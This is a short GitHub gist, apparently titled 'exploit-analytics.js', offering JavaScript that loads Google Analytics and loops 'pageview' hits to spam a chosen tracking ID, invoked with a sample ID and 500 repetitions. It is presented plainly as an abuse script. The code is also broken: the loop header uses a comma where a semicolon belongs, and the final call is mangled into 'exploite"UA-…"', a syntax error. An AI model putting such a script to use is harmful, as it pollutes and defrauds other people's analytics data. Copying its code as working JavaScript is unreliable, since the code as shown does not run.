Instantly share code, notes, and snippets.

anonymous /exploit-analytics.js Secret
Created Oct 25, 2017

Embed
What would you like to do?
Exploit google analytics to spam pageviews in a short period of time
// Setup analytics
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
function exploit(trackingid, timesToExploit) {
ga('create', trackingid, 'auto');
for (i = 0; i <= timesToExploit, i++) {
ga('send', 'pageview');
}
}
// Example tracking ID
exploite"UA-89688840-1", 500);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment